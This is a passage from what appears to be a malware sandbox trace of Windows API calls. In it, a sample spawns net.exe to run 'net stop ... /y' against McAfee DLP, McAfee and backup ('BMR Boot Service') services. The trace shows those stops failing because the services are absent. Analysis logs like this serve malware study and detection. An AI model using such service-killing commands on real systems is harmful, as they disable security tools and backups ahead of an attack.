(HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0098.062] GetConsoleOutputCP () returned 0x1b5 [0098.062] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0xff8acec0 | out: lpCPInfo=0xff8acec0) returned 1 [0098.062] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0098.064] sprintf_s (in: _DstBuf=0x10f998, _DstSize=0xc, _Format=".%u" | out: _DstBuf=".437") returned 4 [0098.064] setlocale (category=0, locale=".437") returned="English_United States.437" [0098.065] GetStdHandle (nStdHandle=0xfffffff5) returned 0x1f8 [0098.065] GetStdHandle (nStdHandle=0xfffffff4) returned 0x0 [0098.065] GetCommandLineW () returned="C:\\Windows\\system32\\net1 stop McAfeeDLPAgentService /y" [0098.065] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x10f730, nSize=0x104 | out: lpFilename="C:\\Windows\\system32\\net1.exe" (normalized: "c:\\windows\\system32\\net1.exe")) returned 0x1c [0098.066] RtlAllocateHeap (HeapHandle=0x160000, Flags=0x0, Size=0x8e) returned 0x17c200 [0098.066] _wcsnicmp (_String1="/Y", _String2="/y", _MaxCount=0x2) returned 0 [0098.066] NetApiBufferAllocate (in: ByteCount=0x18, Buffer=0x10f988 | out: Buffer=0x10f988*=0x17c2a0) returned 0x0 [0098.066] NetApiBufferAllocate (in: ByteCount=0x18, Buffer=0x10f988 | out: Buffer=0x10f988*=0x17c2c0) returned 0x0 [0098.066] _fileno (_File=0x7feffb12a80) returned -2 [0098.066] _setmode (_FileHandle=-2, _Mode=16384) returned -1 [0098.066] _wcsicmp (_String1="accounts", _String2="stop") returned -18 [0098.066] _wcsicmp (_String1="computer", _String2="stop") returned -16 [0098.066] _wcsicmp (_String1="config", _String2="stop") returned -16 [0098.066] _wcsicmp (_String1="continue", _String2="stop") returned -16 [0098.066] _wcsicmp (_String1="cont", _String2="stop") returned -16 [0098.066] _wcsicmp (_String1="file", _String2="stop") returned -13 [0098.066] _wcsicmp (_String1="files", _String2="stop") returned -13 [0098.067] _wcsicmp (_String1="group", _String2="stop") returned -12 [0098.067] _wcsicmp (_String1="groups", _String2="stop") returned -12 [0098.067] _wcsicmp (_String1="help", _String2="stop") returned -11 [0098.067] _wcsicmp (_String1="helpmsg", _String2="stop") returned -11 [0098.067] _wcsicmp (_String1="localgroup", _String2="stop") returned -7 [0098.067] _wcsicmp (_String1="pause", _String2="stop") returned -3 [0098.067] _wcsicmp (_String1="session", _String2="stop") returned -15 [0098.067] _wcsicmp (_String1="sessions", _String2="stop") returned -15 [0098.067] _wcsicmp (_String1="sess", _String2="stop") returned -15 [0098.067] _wcsicmp (_String1="share", _String2="stop") returned -12 [0098.067] _wcsicmp (_String1="start", _String2="stop") returned -14 [0098.067] _wcsicmp (_String1="stats", _String2="stop") returned -14 [0098.067] _wcsicmp (_String1="statistics", _String2="stop") returned -14 [0098.067] _wcsicmp (_String1="stop", _String2="stop") returned 0 [0098.067] _wcsicmp (_String1="accounts", _String2="McAfeeDLPAgentService") returned -12 [0098.067] _wcsicmp (_String1="computer", _String2="McAfeeDLPAgentService") returned -10 [0098.067] _wcsicmp (_String1="config", _String2="McAfeeDLPAgentService") returned -10 [0098.067] _wcsicmp (_String1="continue", _String2="McAfeeDLPAgentService") returned -10 [0098.067] _wcsicmp (_String1="cont", _String2="McAfeeDLPAgentService") returned -10 [0098.067] _wcsicmp (_String1="file", _String2="McAfeeDLPAgentService") returned -7 [0098.067] _wcsicmp (_String1="files", _String2="McAfeeDLPAgentService") returned -7 [0098.067] _wcsicmp (_String1="group", _String2="McAfeeDLPAgentService") returned -6 [0098.067] _wcsicmp (_String1="groups", _String2="McAfeeDLPAgentService") returned -6 [0098.067] _wcsicmp (_String1="help", _String2="McAfeeDLPAgentService") returned -5 [0098.067] _wcsicmp (_String1="helpmsg", _String2="McAfeeDLPAgentService") returned -5 [0098.067] _wcsicmp (_String1="localgroup", _String2="McAfeeDLPAgentService") returned -1 [0098.067] _wcsicmp (_String1="pause", _String2="McAfeeDLPAgentService") returned 3 [0098.067] _wcsicmp (_String1="session", _String2="McAfeeDLPAgentService") returned 6 [0098.067] _wcsicmp (_String1="sessions", _String2="McAfeeDLPAgentService") returned 6 [0098.067] _wcsicmp (_String1="sess", _String2="McAfeeDLPAgentService") returned 6 [0098.068] _wcsicmp (_String1="share", _String2="McAfeeDLPAgentService") returned 6 [0098.068] _wcsicmp (_String1="start", _String2="McAfeeDLPAgentService") returned 6 [0098.068] _wcsicmp (_String1="stats", _String2="McAfeeDLPAgentService") returned 6 [0098.068] _wcsicmp (_String1="statistics", _String2="McAfeeDLPAgentService") returned 6 [0098.068] _wcsicmp (_String1="stop", _String2="McAfeeDLPAgentService") returned 6 [0098.068] _wcsicmp (_String1="time", _String2="McAfeeDLPAgentService") returned 7 [0098.068] _wcsicmp (_String1="user", _String2="McAfeeDLPAgentService") returned 8 [0098.068] _wcsicmp (_String1="users", _String2="McAfeeDLPAgentService") returned 8 [0098.068] _wcsicmp (_String1="msg", _String2="McAfeeDLPAgentService") returned 16 [0098.068] _wcsicmp (_String1="messenger", _String2="McAfeeDLPAgentService") returned 2 [0098.068] _wcsicmp (_String1="receiver", _String2="McAfeeDLPAgentService") returned 5 [0098.068] _wcsicmp (_String1="rcv", _String2="McAfeeDLPAgentService") returned 5 [0098.068] _wcsicmp (_String1="netpopup", _String2="McAfeeDLPAgentService") returned 1 [0098.068] _wcsicmp (_String1="redirector", _String2="McAfeeDLPAgentService") returned 5 [0098.068] _wcsicmp (_String1="redir", _String2="McAfeeDLPAgentService") returned 5 [0098.068] _wcsicmp (_String1="rdr", _String2="McAfeeDLPAgentService") returned 5 [0098.068] _wcsicmp (_String1="workstation", _String2="McAfeeDLPAgentService") returned 10 [0098.068] _wcsicmp (_String1="work", _String2="McAfeeDLPAgentService") returned 10 [0098.068] _wcsicmp (_String1="wksta", _String2="McAfeeDLPAgentService") returned 10 [0098.068] _wcsicmp (_String1="prdr", _String2="McAfeeDLPAgentService") returned 3 [0098.068] _wcsicmp (_String1="devrdr", _String2="McAfeeDLPAgentService") returned -9 [0098.068] _wcsicmp (_String1="lanmanworkstation", _String2="McAfeeDLPAgentService") returned -1 [0098.068] _wcsicmp (_String1="server", _String2="McAfeeDLPAgentService") returned 6 [0098.068] _wcsicmp (_String1="svr", _String2="McAfeeDLPAgentService") returned 6 [0098.068] _wcsicmp (_String1="srv", _String2="McAfeeDLPAgentService") returned 6 [0098.068] _wcsicmp (_String1="lanmanserver", _String2="McAfeeDLPAgentService") returned -1 [0098.068] _wcsicmp (_String1="alerter", _String2="McAfeeDLPAgentService") returned -12 [0098.068] _wcsicmp (_String1="netlogon", _String2="McAfeeDLPAgentService") returned 1 [0098.068] _wcsupr (in: _String="McAfeeDLPAgentService" | out: _String="MCAFEEDLPAGENTSERVICE") returned="MCAFEEDLPAGENTSERVICE" [0098.069] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x80000000) returned 0x17d020 [0098.072] GetServiceKeyNameW (in: hSCManager=0x17d020, lpDisplayName="MCAFEEDLPAGENTSERVICE", lpServiceName=0xff8a5750, lpcchBuffer=0x10f8a8 | out: lpServiceName="", lpcchBuffer=0x10f8a8) returned 0 [0098.073] _wcsicmp (_String1="msg", _String2="MCAFEEDLPAGENTSERVICE") returned 16 [0098.073] _wcsicmp (_String1="messenger", _String2="MCAFEEDLPAGENTSERVICE") returned 2 [0098.073] _wcsicmp (_String1="receiver", _String2="MCAFEEDLPAGENTSERVICE") returned 5 [0098.073] _wcsicmp (_String1="rcv", _String2="MCAFEEDLPAGENTSERVICE") returned 5 [0098.073] _wcsicmp (_String1="redirector", _String2="MCAFEEDLPAGENTSERVICE") returned 5 [0098.073] _wcsicmp (_String1="redir", _String2="MCAFEEDLPAGENTSERVICE") returned 5 [0098.073] _wcsicmp (_String1="rdr", _String2="MCAFEEDLPAGENTSERVICE") returned 5 [0098.073] _wcsicmp (_String1="workstation", _String2="MCAFEEDLPAGENTSERVICE") returned 10 [0098.073] _wcsicmp (_String1="work", _String2="MCAFEEDLPAGENTSERVICE") returned 10 [0098.074] _wcsicmp (_String1="wksta", _String2="MCAFEEDLPAGENTSERVICE") returned 10 [0098.074] _wcsicmp (_String1="prdr", _String2="MCAFEEDLPAGENTSERVICE") returned 3 [0098.074] _wcsicmp (_String1="devrdr", _String2="MCAFEEDLPAGENTSERVICE") returned -9 [0098.074] _wcsicmp (_String1="lanmanworkstation", _String2="MCAFEEDLPAGENTSERVICE") returned -1 [0098.074] _wcsicmp (_String1="server", _String2="MCAFEEDLPAGENTSERVICE") returned 6 [0098.074] _wcsicmp (_String1="svr", _String2="MCAFEEDLPAGENTSERVICE") returned 6 [0098.074] _wcsicmp (_String1="srv", _String2="MCAFEEDLPAGENTSERVICE") returned 6 [0098.074] _wcsicmp (_String1="lanmanserver", _String2="MCAFEEDLPAGENTSERVICE") returned -1 [0098.074] _wcsicmp (_String1="alerter", _String2="MCAFEEDLPAGENTSERVICE") returned -12 [0098.074] _wcsicmp (_String1="netlogon", _String2="MCAFEEDLPAGENTSERVICE") returned 1 [0098.074] NetServiceControl (in: servername=0x0, service="MCAFEEDLPAGENTSERVICE", opcode=0x0, arg=0x0, bufptr=0x10f8b0 | out: bufptr=0x10f8b0) returned 0x889 [0098.075] wcscpy_s (in: _Destination=0xff8a80d0, _SizeInWords=0x104, _Source="NETMSG" | out: _Destination="NETMSG") returned 0x0 [0098.075] LoadLibraryW (lpLibFileName="NETMSG") returned 0x756d0000 [0098.075] FormatMessageW (in: dwFlags=0x2a00, lpSource=0x756d0000, dwMessageId=0x889, dwLanguageId=0x0, lpBuffer=0xff8a5b50, nSize=0x800, Arguments=0xff8a7f90 | out: lpBuffer="The service name is invalid.\r\n") returned 0x1e [0098.077] GetFileType (hFile=0x0) returned 0x0 [0098.077] LocalAlloc (uFlags=0x0, uBytes=0x3c) returned 0x1762f0 [0098.077] WideCharToMultiByte (in: CodePage=0x1, dwFlags=0x0, lpWideCharStr="The service name is invalid.\r\n", cchWideChar=30, lpMultiByteStr=0x1762f0, cbMultiByte=60, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="The service name is invalid.\r\n", lpUsedDefaultChar=0x0) returned 30 [0098.077] WriteFile (in: hFile=0x0, lpBuffer=0x1762f0, nNumberOfBytesToWrite=0x1e, lpNumberOfBytesWritten=0x10f770, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x10f770, lpOverlapped=0x0) returned 0 [0098.077] LocalFree (hMem=0x1762f0) returned 0x0 [0098.077] GetFileType (hFile=0x0) returned 0x0 [0098.077] LocalAlloc (uFlags=0x0, uBytes=0x4) returned 0x17e0d0 [0098.077] WideCharToMultiByte (in: CodePage=0x1, dwFlags=0x0, lpWideCharStr="\r\n", cchWideChar=2, lpMultiByteStr=0x17e0d0, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r\n\x17", lpUsedDefaultChar=0x0) returned 2 [0098.077] WriteFile (in: hFile=0x0, lpBuffer=0x17e0d0, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x10f770, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x10f770, lpOverlapped=0x0) returned 0 [0098.077] LocalFree (hMem=0x17e0d0) returned 0x0 [0098.077] _ultow (in: _Dest=0x889, _Radix=1112032 | out: _Dest=0x889) returned="2185" [0098.077] FormatMessageW (in: dwFlags=0x2800, lpSource=0x756d0000, dwMessageId=0xdba, dwLanguageId=0x0, lpBuffer=0xff8a5b50, nSize=0x800, Arguments=0xff8a7f90 | out: lpBuffer="More help is available by typing NET HELPMSG 2185.\r\n") returned 0x34 [0098.078] GetFileType (hFile=0x0) returned 0x0 [0098.078] LocalAlloc (uFlags=0x0, uBytes=0x68) returned 0x17db40 [0098.078] WideCharToMultiByte (in: CodePage=0x1, dwFlags=0x0, lpWideCharStr="More help is available by typing NET HELPMSG 2185.\r\n", cchWideChar=52, lpMultiByteStr=0x17db40, cbMultiByte=104, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="More help is available by typing NET HELPMSG 2185.\r\n.", lpUsedDefaultChar=0x0) returned 52 [0098.078] WriteFile (in: hFile=0x0, lpBuffer=0x17db40, nNumberOfBytesToWrite=0x34, lpNumberOfBytesWritten=0x10f770, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x10f770, lpOverlapped=0x0) returned 0 [0098.078] LocalFree (hMem=0x17db40) returned 0x0 [0098.078] GetFileType (hFile=0x0) returned 0x0 [0098.078] LocalAlloc (uFlags=0x0, uBytes=0x4) returned 0x17e0d0 [0098.078] WideCharToMultiByte (in: CodePage=0x1, dwFlags=0x0, lpWideCharStr="\r\n", cchWideChar=2, lpMultiByteStr=0x17e0d0, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r\n\x17", lpUsedDefaultChar=0x0) returned 2 [0098.078] WriteFile (in: hFile=0x0, lpBuffer=0x17e0d0, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x10f770, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x10f770, lpOverlapped=0x0) returned 0 [0098.078] LocalFree (hMem=0x17e0d0) returned 0x0 [0098.078] NetApiBufferFree (Buffer=0x17c2a0) returned 0x0 [0098.078] NetApiBufferFree (Buffer=0x17c2c0) returned 0x0 [0098.078] GetCommandLineW () returned="C:\\Windows\\system32\\net1 stop McAfeeDLPAgentService /y" [0098.078] exit (_Code=2) Process: id = "8" image_name = "net.exe" filename = "c:\\windows\\system32\\net.exe" page_root = "0x50b4f000" os_pid = "0xec8" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "child_process" parent_id = "3" os_parent_pid = "0xe70" cmd_line = "\"net.exe\" stop mfewc /y" cur_dir = "C:\\Users\\aETAdzjz\\Desktop\\" os_username = "YKYD69Q\\aETAdzjz" bitness = "32" os_groups = "YKYD69Q\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000f18d" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 64 os_tid = 0xecc Process: id = "9" image_name = "net1.exe" filename = "c:\\windows\\system32\\net1.exe" page_root = "0x5d1e9000" os_pid = "0xedc" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "child_process" parent_id = "8" os_parent_pid = "0xec8" cmd_line = "C:\\Windows\\system32\\net1 stop mfewc /y" cur_dir = "C:\\Users\\aETAdzjz\\Desktop\\" os_username = "YKYD69Q\\aETAdzjz" bitness = "32" os_groups = "YKYD69Q\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000f18d" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 65 os_tid = 0xee0 [0098.221] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x12fcf0 | out: lpSystemTimeAsFileTime=0x12fcf0*(dwLowDateTime=0xfe2985e0, dwHighDateTime=0x1d5eccb)) [0098.221] GetCurrentProcessId () returned 0xedc [0098.221] GetCurrentThreadId () returned 0xee0 [0098.221] GetTickCount () returned 0x115345a [0098.221] QueryPerformanceCounter (in: lpPerformanceCount=0x12fcf8 | out: lpPerformanceCount=0x12fcf8*=17906280246) returned 1 [0098.223] GetModuleHandleW (lpModuleName=0x0) returned 0xff560000 [0098.223] __set_app_type (_Type=0x1) [0098.223] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0xff579c9c) returned 0x0 [0098.223] __getmainargs (in: _Argc=0xff584780, _Argv=0xff584790, _Env=0xff584788, _DoWildCard=0, _StartInfo=0xff58479c | out: _Argc=0xff584780, _Argv=0xff584790, _Env=0xff584788) returned 0 [0098.223] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0098.224] GetConsoleOutputCP () returned 0x1b5 [0098.224] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0xff58cec0 | out: lpCPInfo=0xff58cec0) returned 1 [0098.224] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0098.226] sprintf_s (in: _DstBuf=0x12fc98, _DstSize=0xc, _Format=".%u" | out: _DstBuf=".437") returned 4 [0098.226] setlocale (category=0, locale=".437") returned="English_United States.437" [0098.228] GetStdHandle (nStdHandle=0xfffffff5) returned 0x1f8 [0098.228] GetStdHandle (nStdHandle=0xfffffff4) returned 0x0 [0098.228] GetCommandLineW () returned="C:\\Windows\\system32\\net1 stop mfewc /y" [0098.228] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x12fa30, nSize=0x104 | out: lpFilename="C:\\Windows\\system32\\net1.exe" (normalized: "c:\\windows\\system32\\net1.exe")) returned 0x1c [0098.228] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x6e) returned 0x1ac1e0 [0098.228] _wcsnicmp (_String1="/Y", _String2="/y", _MaxCount=0x2) returned 0 [0098.228] NetApiBufferAllocate (in: ByteCount=0x18, Buffer=0x12fc88 | out: Buffer=0x12fc88*=0x1ac260) returned 0x0 [0098.228] NetApiBufferAllocate (in: ByteCount=0x18, Buffer=0x12fc88 | out: Buffer=0x12fc88*=0x1ac280) returned 0x0 [0098.228] _fileno (_File=0x7feffb12a80) returned -2 [0098.228] _setmode (_FileHandle=-2, _Mode=16384) returned -1 [0098.228] _wcsicmp (_String1="accounts", _String2="stop") returned -18 [0098.228] _wcsicmp (_String1="computer", _String2="stop") returned -16 [0098.228] _wcsicmp (_String1="config", _String2="stop") returned -16 [0098.228] _wcsicmp (_String1="continue", _String2="stop") returned -16 [0098.228] _wcsicmp (_String1="cont", _String2="stop") returned -16 [0098.228] _wcsicmp (_String1="file", _String2="stop") returned -13 [0098.228] _wcsicmp (_String1="files", _String2="stop") returned -13 [0098.229] _wcsicmp (_String1="group", _String2="stop") returned -12 [0098.229] _wcsicmp (_String1="groups", _String2="stop") returned -12 [0098.229] _wcsicmp (_String1="help", _String2="stop") returned -11 [0098.229] _wcsicmp (_String1="helpmsg", _String2="stop") returned -11 [0098.229] _wcsicmp (_String1="localgroup", _String2="stop") returned -7 [0098.229] _wcsicmp (_String1="pause", _String2="stop") returned -3 [0098.229] _wcsicmp (_String1="session", _String2="stop") returned -15 [0098.229] _wcsicmp (_String1="sessions", _String2="stop") returned -15 [0098.229] _wcsicmp (_String1="sess", _String2="stop") returned -15 [0098.229] _wcsicmp (_String1="share", _String2="stop") returned -12 [0098.229] _wcsicmp (_String1="start", _String2="stop") returned -14 [0098.229] _wcsicmp (_String1="stats", _String2="stop") returned -14 [0098.229] _wcsicmp (_String1="statistics", _String2="stop") returned -14 [0098.229] _wcsicmp (_String1="stop", _String2="stop") returned 0 [0098.229] _wcsicmp (_String1="accounts", _String2="mfewc") returned -12 [0098.229] _wcsicmp (_String1="computer", _String2="mfewc") returned -10 [0098.229] _wcsicmp (_String1="config", _String2="mfewc") returned -10 [0098.229] _wcsicmp (_String1="continue", _String2="mfewc") returned -10 [0098.229] _wcsicmp (_String1="cont", _String2="mfewc") returned -10 [0098.229] _wcsicmp (_String1="file", _String2="mfewc") returned -7 [0098.229] _wcsicmp (_String1="files", _String2="mfewc") returned -7 [0098.229] _wcsicmp (_String1="group", _String2="mfewc") returned -6 [0098.229] _wcsicmp (_String1="groups", _String2="mfewc") returned -6 [0098.229] _wcsicmp (_String1="help", _String2="mfewc") returned -5 [0098.229] _wcsicmp (_String1="helpmsg", _String2="mfewc") returned -5 [0098.229] _wcsicmp (_String1="localgroup", _String2="mfewc") returned -1 [0098.229] _wcsicmp (_String1="pause", _String2="mfewc") returned 3 [0098.229] _wcsicmp (_String1="session", _String2="mfewc") returned 6 [0098.229] _wcsicmp (_String1="sessions", _String2="mfewc") returned 6 [0098.229] _wcsicmp (_String1="sess", _String2="mfewc") returned 6 [0098.230] _wcsicmp (_String1="share", _String2="mfewc") returned 6 [0098.230] _wcsicmp (_String1="start", _String2="mfewc") returned 6 [0098.230] _wcsicmp (_String1="stats", _String2="mfewc") returned 6 [0098.230] _wcsicmp (_String1="statistics", _String2="mfewc") returned 6 [0098.230] _wcsicmp (_String1="stop", _String2="mfewc") returned 6 [0098.230] _wcsicmp (_String1="time", _String2="mfewc") returned 7 [0098.230] _wcsicmp (_String1="user", _String2="mfewc") returned 8 [0098.230] _wcsicmp (_String1="users", _String2="mfewc") returned 8 [0098.230] _wcsicmp (_String1="msg", _String2="mfewc") returned 13 [0098.230] _wcsicmp (_String1="messenger", _String2="mfewc") returned -1 [0098.230] _wcsicmp (_String1="receiver", _String2="mfewc") returned 5 [0098.230] _wcsicmp (_String1="rcv", _String2="mfewc") returned 5 [0098.230] _wcsicmp (_String1="netpopup", _String2="mfewc") returned 1 [0098.230] _wcsicmp (_String1="redirector", _String2="mfewc") returned 5 [0098.230] _wcsicmp (_String1="redir", _String2="mfewc") returned 5 [0098.230] _wcsicmp (_String1="rdr", _String2="mfewc") returned 5 [0098.230] _wcsicmp (_String1="workstation", _String2="mfewc") returned 10 [0098.230] _wcsicmp (_String1="work", _String2="mfewc") returned 10 [0098.230] _wcsicmp (_String1="wksta", _String2="mfewc") returned 10 [0098.230] _wcsicmp (_String1="prdr", _String2="mfewc") returned 3 [0098.230] _wcsicmp (_String1="devrdr", _String2="mfewc") returned -9 [0098.230] _wcsicmp (_String1="lanmanworkstation", _String2="mfewc") returned -1 [0098.230] _wcsicmp (_String1="server", _String2="mfewc") returned 6 [0098.230] _wcsicmp (_String1="svr", _String2="mfewc") returned 6 [0098.230] _wcsicmp (_String1="srv", _String2="mfewc") returned 6 [0098.230] _wcsicmp (_String1="lanmanserver", _String2="mfewc") returned -1 [0098.230] _wcsicmp (_String1="alerter", _String2="mfewc") returned -12 [0098.230] _wcsicmp (_String1="netlogon", _String2="mfewc") returned 1 [0098.230] _wcsupr (in: _String="mfewc" | out: _String="MFEWC") returned="MFEWC" [0098.231] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x80000000) returned 0x1acaf0 [0098.234] GetServiceKeyNameW (in: hSCManager=0x1acaf0, lpDisplayName="MFEWC", lpServiceName=0xff585750, lpcchBuffer=0x12fba8 | out: lpServiceName="", lpcchBuffer=0x12fba8) returned 0 [0098.235] _wcsicmp (_String1="msg", _String2="MFEWC") returned 13 [0098.235] _wcsicmp (_String1="messenger", _String2="MFEWC") returned -1 [0098.235] _wcsicmp (_String1="receiver", _String2="MFEWC") returned 5 [0098.235] _wcsicmp (_String1="rcv", _String2="MFEWC") returned 5 [0098.235] _wcsicmp (_String1="redirector", _String2="MFEWC") returned 5 [0098.235] _wcsicmp (_String1="redir", _String2="MFEWC") returned 5 [0098.236] _wcsicmp (_String1="rdr", _String2="MFEWC") returned 5 [0098.236] _wcsicmp (_String1="workstation", _String2="MFEWC") returned 10 [0098.236] _wcsicmp (_String1="work", _String2="MFEWC") returned 10 [0098.236] _wcsicmp (_String1="wksta", _String2="MFEWC") returned 10 [0098.236] _wcsicmp (_String1="prdr", _String2="MFEWC") returned 3 [0098.236] _wcsicmp (_String1="devrdr", _String2="MFEWC") returned -9 [0098.236] _wcsicmp (_String1="lanmanworkstation", _String2="MFEWC") returned -1 [0098.236] _wcsicmp (_String1="server", _String2="MFEWC") returned 6 [0098.236] _wcsicmp (_String1="svr", _String2="MFEWC") returned 6 [0098.236] _wcsicmp (_String1="srv", _String2="MFEWC") returned 6 [0098.236] _wcsicmp (_String1="lanmanserver", _String2="MFEWC") returned -1 [0098.236] _wcsicmp (_String1="alerter", _String2="MFEWC") returned -12 [0098.236] _wcsicmp (_String1="netlogon", _String2="MFEWC") returned 1 [0098.236] NetServiceControl (in: servername=0x0, service="MFEWC", opcode=0x0, arg=0x0, bufptr=0x12fbb0 | out: bufptr=0x12fbb0) returned 0x889 [0098.237] wcscpy_s (in: _Destination=0xff5880d0, _SizeInWords=0x104, _Source="NETMSG" | out: _Destination="NETMSG") returned 0x0 [0098.237] LoadLibraryW (lpLibFileName="NETMSG") returned 0x756d0000 [0098.238] FormatMessageW (in: dwFlags=0x2a00, lpSource=0x756d0000, dwMessageId=0x889, dwLanguageId=0x0, lpBuffer=0xff585b50, nSize=0x800, Arguments=0xff587f90 | out: lpBuffer="The service name is invalid.\r\n") returned 0x1e [0098.240] GetFileType (hFile=0x0) returned 0x0 [0098.240] LocalAlloc (uFlags=0x0, uBytes=0x3c) returned 0x1a62d0 [0098.240] WideCharToMultiByte (in: CodePage=0x1, dwFlags=0x0, lpWideCharStr="The service name is invalid.\r\n", cchWideChar=30, lpMultiByteStr=0x1a62d0, cbMultiByte=60, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="The service name is invalid.\r\n", lpUsedDefaultChar=0x0) returned 30 [0098.240] WriteFile (in: hFile=0x0, lpBuffer=0x1a62d0, nNumberOfBytesToWrite=0x1e, lpNumberOfBytesWritten=0x12fa70, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x12fa70, lpOverlapped=0x0) returned 0 [0098.240] LocalFree (hMem=0x1a62d0) returned 0x0 [0098.240] GetFileType (hFile=0x0) returned 0x0 [0098.240] LocalAlloc (uFlags=0x0, uBytes=0x4) returned 0x1ae090 [0098.240] WideCharToMultiByte (in: CodePage=0x1, dwFlags=0x0, lpWideCharStr="\r\n", cchWideChar=2, lpMultiByteStr=0x1ae090, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r\n\x1a", lpUsedDefaultChar=0x0) returned 2 [0098.240] WriteFile (in: hFile=0x0, lpBuffer=0x1ae090, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x12fa70, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x12fa70, lpOverlapped=0x0) returned 0 [0098.241] LocalFree (hMem=0x1ae090) returned 0x0 [0098.241] _ultow (in: _Dest=0x889, _Radix=1243872 | out: _Dest=0x889) returned="2185" [0098.241] FormatMessageW (in: dwFlags=0x2800, lpSource=0x756d0000, dwMessageId=0xdba, dwLanguageId=0x0, lpBuffer=0xff585b50, nSize=0x800, Arguments=0xff587f90 | out: lpBuffer="More help is available by typing NET HELPMSG 2185.\r\n") returned 0x34 [0098.241] GetFileType (hFile=0x0) returned 0x0 [0098.241] LocalAlloc (uFlags=0x0, uBytes=0x68) returned 0x1adb00 [0098.241] WideCharToMultiByte (in: CodePage=0x1, dwFlags=0x0, lpWideCharStr="More help is available by typing NET HELPMSG 2185.\r\n", cchWideChar=52, lpMultiByteStr=0x1adb00, cbMultiByte=104, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="More help is available by typing NET HELPMSG 2185.\r\n.", lpUsedDefaultChar=0x0) returned 52 [0098.241] WriteFile (in: hFile=0x0, lpBuffer=0x1adb00, nNumberOfBytesToWrite=0x34, lpNumberOfBytesWritten=0x12fa70, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x12fa70, lpOverlapped=0x0) returned 0 [0098.241] LocalFree (hMem=0x1adb00) returned 0x0 [0098.241] GetFileType (hFile=0x0) returned 0x0 [0098.241] LocalAlloc (uFlags=0x0, uBytes=0x4) returned 0x1ae090 [0098.241] WideCharToMultiByte (in: CodePage=0x1, dwFlags=0x0, lpWideCharStr="\r\n", cchWideChar=2, lpMultiByteStr=0x1ae090, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r\n\x1a", lpUsedDefaultChar=0x0) returned 2 [0098.241] WriteFile (in: hFile=0x0, lpBuffer=0x1ae090, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x12fa70, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x12fa70, lpOverlapped=0x0) returned 0 [0098.241] LocalFree (hMem=0x1ae090) returned 0x0 [0098.241] NetApiBufferFree (Buffer=0x1ac260) returned 0x0 [0098.241] NetApiBufferFree (Buffer=0x1ac280) returned 0x0 [0098.241] GetCommandLineW () returned="C:\\Windows\\system32\\net1 stop mfewc /y" [0098.241] exit (_Code=2) Process: id = "10" image_name = "net.exe" filename = "c:\\windows\\system32\\net.exe" page_root = "0x62f58000" os_pid = "0xee4" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "child_process" parent_id = "3" os_parent_pid = "0xe70" cmd_line = "\"net.exe\" stop BMR Boot Service /y" cur_dir = "C:\\Users\\aETAdzjz\\Desktop\\" os_username = "YKYD69Q\\aETAdzjz" bitness = "32" os_groups = "YKYD69Q\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000f18d" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] 